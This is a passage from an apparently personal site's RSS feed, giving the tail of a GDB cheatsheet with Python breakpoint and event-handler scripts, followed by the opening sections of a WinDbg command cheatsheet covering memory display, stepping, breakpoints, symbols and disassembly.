&lt;td>switch to vi edit mode from emacs edit mode&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>set history expansion on&lt;/td>
&lt;td>turn on c-shell like history&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>break class::member&lt;/td>
&lt;td>set breakpoint on class member. may get menu&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>list class::member&lt;/td>
&lt;td>list member in class&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ptype class&lt;/td>
&lt;td>print class members&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>print *this&lt;/td>
&lt;td>print contents of this pointer&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>rbreak regexpr&lt;/td>
&lt;td>useful for breakpoint on overloaded member name&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="miscellaneous">Miscellaneous&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>define command &amp;hellip; end&lt;/td>
&lt;td>define user command&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>*(gdb) RETURN&lt;/td>
&lt;td>repeat last command&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>*(gdb) shell command args&lt;/td>
&lt;td>execute shell command&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>*(gdb) source file&lt;/td>
&lt;td>load gdb commands from file&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>*(gdb) quit&lt;/td>
&lt;td>quit gdb&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="gdb-scripting">GDB Scripting&lt;/h2>
&lt;p>The following example is from &lt;a href="https://stackoverflow.com/questions/4060565/how-to-script-gdb-with-python-example-add-breakpoints-run-what-breakpoint-d">https://stackoverflow.com/questions/4060565/how-to-script-gdb-with-python-example-add-breakpoints-run-what-breakpoint-d&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">DebugPrintingBreakpoint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">gdb&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Breakpoint&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">debugging_IDs&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">frozenset&lt;/span>&lt;span class="p">({&lt;/span>&lt;span class="mi">37&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">153&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">420&lt;/span>&lt;span class="p">})&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">stop&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">top&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">gdb&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">newest_frame&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">someVector&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">top&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">read_var&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;aVectorVar&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Access the begin() &amp;amp; end() pointer of std::vector in GNU Standard C++ lib&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">first&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">someVector&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;_M_impl&amp;#39;&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="s1">&amp;#39;_M_start&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">last&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">someVector&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;_M_impl&amp;#39;&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="s1">&amp;#39;_M_finish&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">values&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="n">first&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="n">last&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">values&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">first&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dereference&lt;/span>&lt;span class="p">()[&lt;/span>&lt;span class="s1">&amp;#39;intID&amp;#39;&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">first&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">first&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="nb">set&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">values&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="n">debugging_IDs&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="kc">False&lt;/span> &lt;span class="c1"># skip: none of the items we&amp;#39;re looking for can be found by ID in the vector on the stack&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Found other accompanying IDs: &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">values&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="kc">True&lt;/span> &lt;span class="c1"># drop to gdb&amp;#39;s prompt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Ensure shared libraries are loaded already&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">gdb&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">execute&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;start&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Set our breakpoint, which happens to reside in some shared lib, hence the &amp;#34;start&amp;#34; previously&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DebugPrintingBreakpoint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;source.cpp:42&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">gdb&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">execute&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;continue&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>You can execute this script from gdb&amp;rsquo;s prompt like this:&lt;/p>
&lt;pre tabindex="0">&lt;code>(gdb) source script.py
&lt;/code>&lt;/pre>&lt;p>Or from the command-line:&lt;/p>
&lt;pre tabindex="0">&lt;code>$ gdb --command script.py ./executable.elf
&lt;/code>&lt;/pre>&lt;h2 id="events">Events&lt;/h2>
&lt;p>According to the &lt;a href="https://sourceware.org/gdb/current/onlinedocs/gdb.html/Events-In-Python.html">Events&lt;/a> doc, this is an event handler:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">exit_handler&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">event&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;event type: exit&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="nb">hasattr&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">event&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;exit_code&amp;#39;&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;exit code: &lt;/span>&lt;span class="si">%d&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">event&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">exit_code&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;exit code not available&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">gdb&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">events&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">exited&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">connect&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">exit_handler&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>The types of events are&lt;/p>
&lt;ul>
&lt;li>events.cont&lt;/li>
&lt;li>events.exited&lt;/li>
&lt;li>events.stop&lt;/li>
&lt;li>events.new_objfile&lt;/li>
&lt;li>events.free_objfile&lt;/li>
&lt;li>events.clear_objfile&lt;/li>
&lt;li>events.inferior_call&lt;/li>
&lt;li>events.memory_changed - This one looks cool, any memory writes&lt;/li>
&lt;li>events.register_changed - nice!&lt;/li>
&lt;li>events.breakpoint_created&lt;/li>
&lt;li>events.breakpoint_modified&lt;/li>
&lt;li>events.breakpoint_deleted&lt;/li>
&lt;li>events.before_prompt&lt;/li>
&lt;li>events.new_inferior&lt;/li>
&lt;li>events.inferior_deleted&lt;/li>
&lt;li>events.new_thread&lt;/li>
&lt;li>events.thread_exited&lt;/li>
&lt;li>events.gdb_exiting&lt;/li>
&lt;li>events.connection_removed&lt;/li>
&lt;li>events.new_progspace&lt;/li>
&lt;li>events.free_progspace
There are a bunch!&lt;/li>
&lt;/ul>
&lt;p>The stop_signal and exit_code Event attributes may have changed. They don&amp;rsquo;t seem to work anymore.&lt;/p>
&lt;p>I got the stop hook writing to a file, as well as other hooks that update &amp;ldquo;gdb_status.txt&amp;rdquo;. The &lt;code>gdb.SignalEvent&lt;/code> thing doesn&amp;rsquo;t seem to fire though&amp;hellip;&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">signal_stop_handler&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">event&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nb">isinstance&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">event&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">gdb&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">StopEvent&lt;/span>&lt;span class="p">)):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;event type: stop&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;gdb_status.txt&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;w&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Stopped&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">close&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nb">isinstance&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">event&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">gdb&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">SignalEvent&lt;/span>&lt;span class="p">)):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;stop reason: signal&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;stop signal: &lt;/span>&lt;span class="si">%s&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">event&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">stop_signal&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span> &lt;span class="n">event&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">inferior_thread&lt;/span> &lt;span class="ow">is&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="kc">None&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;thread num: &lt;/span>&lt;span class="si">%s&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">event&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">inferior_thread&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">num&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">gdb&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">events&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">stop&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">connect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">signal_stop_handler&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>TODO: Update this with real info hahah&lt;/p></description></item><item><title>WinDbg Cheatsheet</title><link>https://n0.lol/cheatsheets/windbg/</link><pubDate>Sat, 01 Feb 2020 12:00:00 -0400</pubDate><guid>https://n0.lol/cheatsheets/windbg/</guid><description>&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/commands">https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/commands&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/hugsy/defcon_27_windbg_workshop/blob/master/windbg_cheatsheet.md">https://github.com/hugsy/defcon_27_windbg_workshop/blob/master/windbg_cheatsheet.md&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://medium.com/@yardenshafir2/windbg-the-fun-way-part-1-2e4978791f9b">https://medium.com/@yardenshafir2/windbg-the-fun-way-part-1-2e4978791f9b&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://medium.com/@yardenshafir2/windbg-the-fun-way-part-2-7a904cba5435">https://medium.com/@yardenshafir2/windbg-the-fun-way-part-2-7a904cba5435&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="display-bytes">Display Bytes&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>db esp&lt;/td>
&lt;td>Display bytes from address in ESP as bytes with ASCII chars on the side (hex dump)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>db kernel32!WriteFile&lt;/td>
&lt;td>Display bytes in a function&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>dw esp&lt;/td>
&lt;td>Display bytes from address in ESP as words (2 bytes)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>dW esp&lt;/td>
&lt;td>Display bytes from address in ESP as words with ASCII chars on the side like in db&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>dd esp&lt;/td>
&lt;td>Display bytes from address in ESP as double words (4 bytes)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>dd 771bab89&lt;/td>
&lt;td>Display bytes from address 0x771bab89 as double words (4 bytes)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>dc esp&lt;/td>
&lt;td>Display bytes from address in ESP as dobule words with ASCII chars on the side like in db&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>dq 00faf974&lt;/td>
&lt;td>Display bytes from address in ESP as quad words (8 bytes)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>da esp&lt;/td>
&lt;td>Display bytes from address in ESP as ASCII (This is ASCII with no hex dump)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>dd poi(esp)&lt;/td>
&lt;td>Display dwords from the pointer that the address ESP points to.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>dW KERNELBASE+0x40&lt;/td>
&lt;td>Display dwords with ASCII chars at KERNELBASE + 0x40&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>dd esp L4&lt;/td>
&lt;td>Display 4 double words from address in ESP&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>dW KERNELBASE L2&lt;/td>
&lt;td>Display 2 words with ASCII chars from KERNELBASE&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>db KERNELBASE L2&lt;/td>
&lt;td>Display 2 bytes with ASCII chars from KERNELBASE&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="program-control">Program Control&lt;/h2>
&lt;p>&lt;a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/controlling-the-target">https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/controlling-the-target&lt;/a>&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>g&lt;/td>
&lt;td>Go. Continues execution&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>gu&lt;/td>
&lt;td>Execute until function is complete.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>p&lt;/td>
&lt;td>Step. Step Over. If a function call it just keeps going. F10&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>pa&lt;/td>
&lt;td>Step to Address.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>pc&lt;/td>
&lt;td>Step to Next Call.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>pct&lt;/td>
&lt;td>Step to Next Call or Return.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ph&lt;/td>
&lt;td>Step to Next Branching Instruction. Any branches, calls, rets, or syscalls&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>pt&lt;/td>
&lt;td>Step to Next Return. Go to the end of the function&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>t&lt;/td>
&lt;td>Trace. Step Into. If a function call it steps into it. F8, F11&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ta&lt;/td>
&lt;td>Trace to address. See docs for full info on this.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="breakpoints">Breakpoints&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>bl&lt;/td>
&lt;td>List breakpoints&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>bd 1&lt;/td>
&lt;td>Disable breakpoint 1&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>bc 2&lt;/td>
&lt;td>Clear breakpoint 2&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>bp wsock32!recv&lt;/td>
&lt;td>Break on wsock32!recv&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>bp WS2_32!recv&lt;/td>
&lt;td>Break on WS2_32!recv&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>br 0xbaf000&lt;/td>
&lt;td>Break on reading address 0xbaf000&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>bw 0xbaf000&lt;/td>
&lt;td>Break on writing to address 0xbaf000&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>be 0xbaf000&lt;/td>
&lt;td>Break on executing address 0xbaf000&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>Hardware Breakpoints&lt;/p>
&lt;ul>
&lt;li>There are only 4 available&lt;/li>
&lt;li>Syntax: &lt;code>ba &amp;lt;type of acces r|w|e&amp;gt; &amp;lt;size of memory access&amp;gt; &amp;lt;memory address or symbol&amp;gt;&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>ba e 1 kernel32!WriteFile &amp;ndash; Set a hardware breakpoint when kernel32!WriteFile executes&lt;/p>
&lt;h2 id="symbols">Symbols&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>.reload /f&lt;/td>
&lt;td>Reload symbols&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>x WS2_32!recv&lt;/td>
&lt;td>Search for symbol. Displays address.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>x WS2_32!rec*&lt;/td>
&lt;td>Search for symbol with wildcard. Will show recv and recvfrom.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>!drvobj name&lt;/td>
&lt;td>Find driver&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>!devobj name&lt;/td>
&lt;td>Find device object&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>!devhandles handle&lt;/td>
&lt;td>Find app using driver&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="examine-code">Examine Code&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>u 761ae7b2&lt;/td>
&lt;td>Unassemble at address 0x761ae7b2&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>u kernel32!GetCurrentThread&lt;/td>
&lt;td>Unassemble kernel32!GetCurrentThread&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>u kernel32!GetCurrentThread+0x2&lt;/td>
&lt;td>Unassemble kernel32!GetCurrentThread+0x2&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>u kernel32!GetCurrentThread+0x2 L2&lt;/td>
&lt;td>Unassemble kernel32!GetCurrentThread+0x2 and display 2 lines&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="dump-structures">Dump Structures&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>k&lt;/td>
&lt;td>Dump Call Stack&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>lm&lt;/td>
&lt;td>Show loaded modules&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>lm m kernel*&lt;/td>
&lt;td>Show loaded modules beginning with &amp;ldquo;kernel&amp;rdquo;&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>lmDva 0x724a0000&lt;/td>
&lt;td>Get info on the module at address 0x724a0000&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ln 77c94d10&lt;/td>
&lt;td>Show the closest symbol to the address 0x77C94D10&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>r&lt;/td>
&lt;td>Dump all registers&lt;/td>
&lt;/tr>
